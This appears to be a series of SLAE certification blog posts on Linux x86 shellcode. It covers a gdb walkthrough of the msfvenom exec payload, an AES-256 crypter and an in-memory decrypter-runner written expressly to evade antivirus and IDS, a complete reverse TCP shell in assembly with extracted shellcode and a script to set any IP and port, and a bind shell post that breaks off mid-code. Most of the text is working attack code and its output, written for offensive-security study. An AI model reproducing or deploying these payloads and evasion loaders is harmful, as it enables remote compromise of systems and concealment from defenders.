Linux / x86 Msfvenom Exec shellcode analysis

Today we will analyse the shellcode for msfvenom payload “payload/linux/x86/exec” . So lets check the payload options for it.

root@kali:~/slae_analyze# msfvenom -p linux/x86/exec --payload-options
Options for payload/linux/x86/exec:


       Name: Linux Execute Command
     Module: payload/linux/x86/exec
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    vlad902 <vlad902@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command

 this payload accepts a “CMD” parameter, which is the code to be executed on the system. I will use “whoami” command for analyzing the generated shellcode. Lets pipe the output to ndisasm.

root@kali:~/slae_analyze# msfvenom -p linux/x86/exec CMD=whoami -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E807000000        call 0x24
0000001D  7768              ja 0x87
0000001F  6F                outsd
00000020  61                popa
00000021  6D                insd
00000022  6900575389E1      imul eax,[eax],dword 0xe1895357
00000028  CD80              int 0x80

initially we see that, syscall number “11” stored on eax. which implies that its making use of execve to execute our desired command! there are weird call instruction in the middle , we can see edx register getting set with null, along with setting argument 1 (“/bin/sh”) on ebx register. and “push word 0x632d” translates to “-c” in ASCII text, this hints that execve may be called as follows to execute our command.

execve(“/bin/sh”,[*(“/bin/sh”),”-c”,”whoami”],0)

but we note that there is no string “whoami” that is our command in the dissected assembly code. lets analyze the same code in gdb for further inspection.specifically on that call instruction.

root@kali:~/slae_analyze# msfvenom -p linux/x86/exec CMD=whoami -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes
Final size of c file: 201 bytes
unsigned char buf[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";

Lets place this in our c template program and run inside gdb.

#include<stdio.h>
#include<string.h>


unsigned char code[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";




int main()
{
	
	
	printf("Shellcode Length:  %d\n", strlen(code));

	
	int (*ret)() = (int(*)())code;

	ret();

}

we will use GDB extended with Peda for smoother analysis. As Peda has some very cool integrated features which helps us in easier dissection.Lets place a breakpoint at our shellcode.

root@kali:~/slae_analyze/msf_exec# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
root@kali:~/slae_analyze/msf_exec# ./shellcode
Shellcode Length:  15
root
root@kali:~/slae_analyze/msf_exec# gdb -q ./shellcode
Reading symbols from ./shellcode...(no debugging symbols found)...done.
gdb-peda$ break *&code
Breakpoint 1 at 0x2040
gdb-peda$ run


We dissemble at the start of our shellcode.

[----------------------------------registers-----------------------------------]
EAX: 0x402040 --> 0x99580b6a 
EBX: 0x402000 --> 0x1efc 
ECX: 0x0 
EDX: 0xb7fab890 --> 0x0 
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff288 --> 0x0 
ESP: 0xbffff26c --> 0x40059d (<main+80>:	mov    eax,0x0)
EIP: 0x402040 --> 0x99580b6a
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40203a:	add    BYTE PTR [eax],al
   0x40203c:	add    BYTE PTR [eax],al
   0x40203e:	add    BYTE PTR [eax],al
=> 0x402040 <code>:	push   0xb
   0x402042 <code+2>:	pop    eax
   0x402043 <code+3>:	cdq    
   0x402044 <code+4>:	push   edx
   0x402045 <code+5>:	pushw  0x632d
[------------------------------------stack-------------------------------------]
0000| 0xbffff26c --> 0x40059d (<main+80>:	mov    eax,0x0)
0004| 0xbffff270 --> 0x1 
0008| 0xbffff274 --> 0xbffff334 --> 0xbffff4df ("/root/slae_analyze/msf_exec/shellcode")
0012| 0xbffff278 --> 0xbffff33c --> 0xbffff505 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0016| 0xbffff27c --> 0x402040 --> 0x99580b6a 
0020| 0xbffff280 --> 0xbffff2a0 --> 0x1 
0024| 0xbffff284 --> 0x0 
0028| 0xbffff288 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00402040 in code ()
gdb-peda$ disassemble
Dump of assembler code for function code:
=> 0x00402040 <+0>:	push   0xb
   0x00402042 <+2>:	pop    eax
   0x00402043 <+3>:	cdq    
   0x00402044 <+4>:	push   edx
   0x00402045 <+5>:	pushw  0x632d
   0x00402049 <+9>:	mov    edi,esp
   0x0040204b <+11>:	push   0x68732f
   0x00402050 <+16>:	push   0x6e69622f
   0x00402055 <+21>:	mov    ebx,esp
   0x00402057 <+23>:	push   edx
   0x00402058 <+24>:	call   0x402064 <code+36>
   0x0040205d <+29>:	ja     0x4020c7
   0x0040205f <+31>:	outs   dx,DWORD PTR ds:[esi]
   0x00402060 <+32>:	popa   
   0x00402061 <+33>:	ins    DWORD PTR es:[edi],dx
   0x00402062 <+34>:	imul   eax,DWORD PTR [eax],0xe1895357
   0x00402068 <+40>:	int    0x80
   0x0040206a <+42>:	add    BYTE PTR [eax],al
End of assembler dump.

we see that call instruction again with jump to some memory location. lets analyse by break at that location. 

[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xbffff25e ("/bin/sh")
ECX: 0x0 
EDX: 0x0 
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0xbffff266 --> 0x632d ('-c')
EBP: 0xbffff288 --> 0x0 
ESP: 0xbffff256 --> 0x40205d ("whoami")
EIP: 0x402064 --> 0xe1895357
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x402064 <code+36>:	push   edi
   0x402065 <code+37>:	push   ebx
   0x402066 <code+38>:	mov    ecx,esp
   0x402068 <code+40>:	int    0x80
[------------------------------------stack-------------------------------------]
0000| 0xbffff256 --> 0x40205d ("whoami")
0004| 0xbffff25a --> 0x0 
0008| 0xbffff25e ("/bin/sh")
0012| 0xbffff262 --> 0x68732f ('/sh')
0016| 0xbffff266 --> 0x632d ('-c')
0020| 0xbffff26a --> 0x59d0000 
0024| 0xbffff26e --> 0x10040 
0028| 0xbffff272 --> 0xf3340000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00402064 in code ()

As we see,  memory address containing our command string(“whoami”) is pushed onto to the stack . lets verify that what we assume is true.

gdb-peda$ x/s 0x40205d
0x40205d <code+29>:	"whoami"

Now lets break before calling interrupt to verify that all the arguments are on the stack setup for execve to execute.

[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xbffff25e ("/bin/sh")
ECX: 0xbffff24e --> 0xbffff25e ("/bin/sh")
EDX: 0x0 
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0xbffff266 --> 0x632d ('-c')
EBP: 0xbffff288 --> 0x0 
ESP: 0xbffff24e --> 0xbffff25e ("/bin/sh")
EIP: 0x402068 --> 0x80cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x402060 <code+32>:	popa   
   0x402061 <code+33>:	ins    DWORD PTR es:[edi],dx
   0x402062 <code+34>:	imul   eax,DWORD PTR [eax],0xe1895357
=> 0x402068 <code+40>:	int    0x80
   0x40206a <code+42>:	add    BYTE PTR [eax],al
   0x40206c:	add    BYTE PTR [eax],al
   0x40206e:	add    BYTE PTR [eax],al
   0x402070:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff24e --> 0xbffff25e ("/bin/sh")
0004| 0xbffff252 --> 0xbffff266 --> 0x632d ('-c')
0008| 0xbffff256 --> 0x40205d ("whoami")
0012| 0xbffff25a --> 0x0 
0016| 0xbffff25e ("/bin/sh")
0020| 0xbffff262 --> 0x68732f ('/sh')
0024| 0xbffff266 --> 0x632d ('-c')
0028| 0xbffff26a --> 0x59d0000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00402068 in code ()
gdb-peda$ info registers
eax            0xb	0xb
ecx            0xbffff24e	0xbffff24e
edx            0x0	0x0
ebx            0xbffff25e	0xbffff25e
esp            0xbffff24e	0xbffff24e
ebp            0xbffff288	0xbffff288
esi            0xb7faa000	0xb7faa000
edi            0xbffff266	0xbffff266
eip            0x402068	0x402068 <code+40>
eflags         0x282	[ SF IF ]
cs             0x73	0x73
ss             0x7b	0x7b
ds             0x7b	0x7b
es             0x7b	0x7b
fs             0x0	0x0
gs             0x33	0x33

From the above code its clear that all the arguments for execve has been set properly before the interrupt. ebx contains /bin/sh string. and ecx contains address “0xbffff24e” (ESP) which points to memory location “0xbffff25e” which is nothing but address  of the /bin/sh followed by other arguments which are present on the stack.

gdb-peda$ x/s 0xbffff25e
0xbffff25e:	"/bin/sh"

Finally our code executes successfully ..

gdb-peda$ s
process 9452 is executing new program: /bin/dash

process 9497 is executing new program: /usr/bin/whoami

#output of our command "whoami"
root

[Inferior 2 (process 9497) exited normally]
Warning: not running or target is remote

Thats it for today. I will take up more shellcode analysis in the next few posts. Thank you!

Github Repo link :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367

Linux/x86 Custom shellcode Crypter

Hi Everyone! Today we will write a simple shellcode crypter, Which encrypts original shellcode and then a decrypter decodes and executes original shellcode in memory.

Why Crypters?

shellcode can easily be fingerprinted by AV , IDS systems. in order to prevent such finger printing or to increase our chance of evading such systems while we execute shellcode , we can encrypt the original shellcode.  And moreover more complex/ harder the encryption algorithm, More chances we have to evade AV’s.

We can even increase our chance of evasion, by chaining different methods such as encoding and different cycle of encryption .

choosing the encryption algorithm was the biggest challenge for me , I decided to go with AES – 256 encryption . AES(Advanced Encryption Standard ) is a symmetric encryption algorithm , which means a single same key is used for both encryption and decryption. Number of rounds of encryption cycle , in this case its 14(max rounds) .

I decided to implement with the help of pycrypto module which is available for python.

Here is my simple crypter program(encrypt.py) :

#Crypter AES - 256
#Author : goutham madhwaraj
#website : https://barriersec.com

import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from ctypes import *
import sys
import argparse


parser = argparse.ArgumentParser()
parser.add_argument('-k', "--key", help='secret key used to encrypt shellcode')
parser.add_argument('-s', "--shellcode", help='shellcode should have \ escaped ')

args = parser.parse_args()

if args.key == None and args.shellcode == None :
    parser.print_help()
    exit()

print("Pycrypto AES-256 crypter\n")

secret = args.key
shellcode = args.shellcode

print("provided key :\t",secret,"\n")
print("provided shellcode :\t",shellcode,"\n")

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def encrypt(raw, password):
    private_key = hashlib.sha256(password.encode("utf-8")).digest()
    raw = pad(raw)
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(private_key, AES.MODE_CBC, iv)
    return base64.b64encode(iv + cipher.encrypt(raw))




shellcode_encrypted = encrypt(shellcode, secret)
print("encrypted shellcode :\t",shellcode_encrypted)

My script takes two arguments, key and shellcode.  shellcode is the original shellcode to be encrypted with the provided key . 

I will use one of my previous simple spawn a shell shellcode :

\\x29\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x99\\x6a\\x0b\\x58\\xcd\\x80″

and key : secret

lets execute and test :

root@kali:~/slae_crypter# python3 encrypt.py -k "secret" -s "\x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80"
Pycrypto AES-256 crypter

provided key :	 secret 

provided shellcode :	 \x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80 

encrypted shellcode :	 b'mY3byagSnODp3hjw219NkmjkvU1BWpWYFRyoSN1upEtt9pgd0XLneFUweIpgMrCK/uiUD0SbwyFUg6ciKLlrQUYMG/rzkZFzT/1/3yQb/7j3QX1WsMC/OE11nCE14ZEl8vK7aZriwePk7nGhzAm6ig=='

 

Now here is my custom implemented decrypter in python (decrypt.py) :

#Crypter AES - 256
#Author : goutham madhwaraj
#website : https://barriersec.com
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from ctypes import *
import sys
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-k', "--key", help='secret key used to decrypt shellcode')
parser.add_argument('-e', "--shellcode", help='encrypted shellcode should be a string')

args = parser.parse_args()

if args.key == None and args.shellcode == None :
    parser.print_help()
    exit()

print("Pycrypto AES-256 crypter\n")

secret = args.key
shellcode = args.shellcode.encode()


print("provided key :\t",secret,"\n")
print("encoded shellcode :\t",shellcode,"\n")

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def decrypt(enc, password):
    private_key = hashlib.sha256(password.encode("utf-8")).digest()
    enc = base64.b64decode(enc)
    iv = enc[:16]
    cipher = AES.new(private_key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(enc[16:]))


decrypted = decrypt(shellcode, secret)
exec_shellcode = bytes.decode(decrypted)
print("decoded shellcode....\n")
print(exec_shellcode)

value2 = bytes(exec_shellcode,"ISO-8859-1")

byte_shellcode = value2.decode('unicode-escape').encode('ISO-8859-1')
print(byte_shellcode)

libc = CDLL('libc.so.6') #loading an external libc library
sc_addr = c_char_p(byte_shellcode)
size = len(byte_shellcode)
addr = c_void_p(libc.valloc(size) #dynamically allocate memory of shellcode size
memmove(addr, sc_addr, size) #move shellcode to known address allocated
libc.mprotect(addr, size, 0x7) # use mprotect to mark the memory as executable. ( similar to what we do @ROP)
run = cast(addr, CFUNCTYPE(c_void_p))
run() # jump to shellcode

This Decrypter program takes two argument. one is the key to be used for decryption and encrypted shellcode (base 64) in string format. One of the interesting thing i learned doing this exercise is , how to execute shellcode  bypassing NX dynamically once decrypted. here we dynamically create a certain amount(shellcode size) of memory at run time and move the shellcode to the allocated memory using memmove function. We make use of  external libc library to utilize mprotect function, which helps us to mark the memory as executable. (which prevents execution by default) and finally jump to the shellcode which spawns a shell in this case.

lets execute and test :

root@kali:~/slae_crypter# python3 decrypt.py -k "secret" -e "Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA=="
Pycrypto AES-256 crypter

b'Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA=='
provided key :	 secret 
encoded shellcode :	 b'Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA==' 
decoded shellcode....

\x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80
b')\xc0Ph//shh/bin\x89\xe3\x89\xc1\x99j\x0bX\xcd\x80'
# 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

WootWoot! a shell 😀

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367

Linux/x86 Reverse Shell shellcode

Hi All! Today we will look at how to implement a simple reverse shell in assembly language .

Main objective :

Create a shell_Reverse_TCP shellcode .Reverse connects back to provided IP and port .  Port and IP should be easily configurable.

I have explained how to call syscalls in assembly language in previous implementation of bind shell. Perhaps, this will be a bit easier task , as the operations involved will be less than for bind shell and many of the previous code can be reused. previous article can be found here .

So lets begin !

lets split out the operations that are to be done for creation of a reverse TCP shell program.

  1. Create a socket
  2. Connect back to the reverse listening host:port with the socket.
  3. redirect the standard input,output and error to connected socket.
  4. call execve to spawn a simple shell which finally results in reverse shell .

Lets create a simple c program to implement these operations and use the same to map :

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

int main()
{
	//create a socket
	int sock = socket(AF_INET, SOCK_STREAM, 0);

	
	struct sockaddr_in client_addr;
  client_addr.sin_family = AF_INET;
	
	//set port
	client_addr.sin_port = htons(4444);

	//set IP address to connect we use 127.1.1.1 because we do not want null in our IP
	client_addr.sin_addr.s_addr = inet_addr("127.1.1.1");
	
	
	//connects using the created sock to the properties set at client_addr
	connect(sock, (struct sockaddr *)&client_addr, sizeof(client_addr));
		
	//redirect std input,output and error to created socket
	dup2(sock,0);
	dup2(sock,1);
	dup2(sock,2);

	// spawn a shell
	execve("/bin/sh", NULL, NULL);

}

As specified from the steps ,code for creation of the socket remains the same. we make use of socketcall syscall with socket argument to achieve this operation.

        xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKET_CALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt


	; store returning socket in esi for further use
	mov esi,eax
int connect(int sockfd, const struct sockaddr *addr,
                   socklen_t addrlen);

So in the next step, we can make use of Socketcall syscall with SYS_CONNECT to implement connect call. (value : 3 from net.h)

eax will contain syscall number for socketcall . ebx will contain value 3 and finally ecx contains a pointer to actual arguments to connect.

        ;connect


	push 0x66
	pop eax ;syscall for socket_call

	push 0x3
	pop ebx ; SYS_CONNECT = 3 from /usr/include/linux/net.h

	
	push 0x0101017f	; reverse shell IP 
	push word 0x5c11  ;reverse shell port : 4444
	push word 0x2     ; AF_INET = PF_INET = 2
	mov edi, esp	; move top of the stack to edi to prepare struct
	push 0x10    ; size = 16
	push edi     ; push the pointer to created struct
	push esi    ;created sock
	mov ecx, esp   ;move top of the stack to ecx
	
	int 0x80 ; call system interrupt

To push the IP we first convert the internet address to network order address and finally push it in reverse order.everything else is same as in previous post. make sure our IP address should not contain a null byte.

Now redirection of standard input , output and error can be done utilizing dup2 syscall.

;redirect Input, output and error to created sock

	mov ebx,esi
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

	redirectIO:
		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO

Finally we can spawn a shell utilizing execve syscall to call /bin/sh .

; spawn a shell using execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80

 

Complete Assembly code :

global _start
 
section .text
 
_start:

	xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKET_CALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt


	; store returning socket in esi for further use
	mov esi,eax


	;connect


	push 0x66
	pop eax ;syscall for socket_call

	push 0x3
	pop ebx ; SYS_CONNECT = 3 from /usr/include/linux/net.h

	
	push 0x0101017f	; reverse shell IP 
	push word 0x5c11  ;reverse shell port : 4444
	push word 0x2     ; AF_INET = PF_INET = 2
	mov edi, esp	; move top of the stack to edi to prepare struct
	push 0x10    ; size = 16
	push edi     ; push the pointer to created struct
	push esi    ;created sock
	mov ecx, esp   ;move top of the stack to ecx
	
	int 0x80 ; call system interrupt 


	;redirect Input, output and error to created sock

	mov ebx,esi
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

	redirectIO:
		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO

	; spawn a shell using execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80

 

Finally lets compile and extract shellcode and make sure it does not contain any NULL bytes.

slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./compile.sh revv
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ objdump -d ./revv|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

 

Now lets update our C template program ,compile and execute. ( netcat listener should be on port 4444  before execution.) netcat -nlvp 4444

#include<stdio.h>
#include<string.h>


unsigned char code[] ="\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";




main()
{
	
	
	printf("Shellcode Length:  %d\n", strlen(code));

	 
	int (*ret)() = (int(*)())code;

	ret();

}

 

slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./shellcode
Shellcode Length:  78

On our listener :

slae@ubuntu:~$ nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 57640)
whoami
slae
id
uid=1000(slae) gid=1000(slae) groups=1000(slae),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)

WootWoot a reverse shell 😀 so our first part is done. now we have to make our port and IP configurable to a custom value. here is a simple python script to do the same .

#!/usr/bin/env python3
import sys
import struct
import socket


port = int(sys.argv[2])
IP = sys.argv[1]

if port > 65535 :
    print("port cannot exceed 65535")
    exit()


port = struct.pack("!H", port)

port = ("{}".format(''.join('\x{:02x}'.format(b) for b in port)))

if "\x00" in port:
    print(" warning : NULL  byte detected! choose different port and rerun")
    exit()

ip_final = socket.inet_aton(IP)
ip_final = str(ip_final) 
ip_final = ip_final[2:]
ip_final = ip_final[:-1]


if "\x00" in ip_final:
    print(" warning : NULL  byte detected! choose different port and rerun")
    exit()    

finalshellcode = """\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68%s\x66\x68%s\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80""" % (ip_final,port)


print("shellcode : ",finalshellcode)

 

We can run this using :

slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./custom.py 127.1.1.1 1234
shellcode :  \x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x04\xd2\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80

we can replace this shellcode in our c template program and run to get the reverse shell for custom IP address and port value.

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367

 

Linux/x86 TCP Bind Shell Shellcode

Hi All! In this post, we will see how to implement a TCP bind shell in assembly program .

Objective :

1.create a TCP bind shell shellcode which binds to a port and execs shell on incoming connection.

2. port number should be easily configurable.

So what actually is a bind shell?

bind shell is a type of shell , which opens up a remote port on a victim machine , listens for incoming connection, Once received , it  forwards standard output , standard input and standard error to the received socket and finally forks a command shell.

So to implement our bind TCP shell, we can split the operations as follows :

  1. create a socket .
  2. bind the socket to its desired attributes.
  3. listen for incoming connections.
  4. accept the connection.
  5. redirect standard input,output and error to client socket.
  6. call execve to spawn a simple shell

All credits to this awesome c reference for bind tcp shell :

https://gist.github.com/geyslan/5176234

So before looking at the implementation, few important locations to look at and its purpose.

  1. To look at the different syscall numbers associated with syscalls, we can refer this header in location : /usr/include/i386-linux-gnu/asm/unistd_32.h
  2. To look at few other things related to network handling part ( codes for bind , accept, socket )  can be found at : /usr/include/linux/net.h
  3. To look at socket handling part : /usr/include/i386-linux-gnu/bits/socket.h

calling system calls from  assembly program:

we can call different system calls from assembly program by calling an 0x80 interrupt . It expects the following contents in general purpose registers before the call.

eax – syscall number

ebx- first argument

ecx-second argument

edx – third argument

and so on.. and finally interrupt can be called using instruction

int 0x80

socket creation , binding and other operations can done with the help of socketcall syscall.

from its man page :

 int socketcall(int call, unsigned long *args);

socketcall syscall number : 0x66(  102 in decimal )( from unistd_32.h)

This is pushed on to eax register before interrupt .

ebx contains call number which specifies the socket task at hand(create , bind ,accept , listen etc) which can be found at : net.h

finally ecx should contain the actual arguments for the  call function.

For creation of socket , we need to make use of SYS_SOCKET . For binding socket , SYS_BIND . For listening to incoming connections : SYS_LISTEN .For accepting connections SYS_ACCEPT . ( all call numbers can be found at net.h)

To redirect standard input , output and standard error to incoming connection , we can make use of dup2 syscall

dup2(clientsock, [ 0 | 1 | 2 ] )

syscall number : 0x3f( from unistd_32.h)

so we need to call dup2 thrice to redirect standard input, output and error to client socket once connection is accepted.

And finally we make use of execve syscall to spawn a shell.

int execve(const char *filename, char *const argv[],
char *const envp[]);

syscall number : 0xb( from unistd_32.h)

complete assembly code for the bind tcp shellcode ( listening on port 4444) with relevant comments :

global _start
 
section .text
 
_start:
	xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKETCALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt


	; store returning socket in esi for further use
	mov esi,eax


	; bind
	
	mov al, 0x66	; socketcall (102)
	pop ebx		; SYS_BIND (2)
	push edx	; INADDRY_ANY (0)
	push word 0x5c11	; htons 4444
	push bx		; AF_INET=PF_INET (2)
	mov edi, esp	; store struct address in edi
	push 0x10	; size = 16
	push edi	; address of struct is pushed onto stack
	push esi	; socketfd
	mov ecx, esp	; point ecx to top of stack 
	int 0x80		; call interrupt
	
	 
	; listen
	
	push 0x66
	pop eax ; syscall for socketcall
	xor ebx,ebx
	mov bl,0x4 ; SYS_LISTEN = 4
	push edx
	push esi
	mov ecx,esp ; finally pointer to arugments stored in ecx
	int 0x80

	; accept

	
	push 0x66
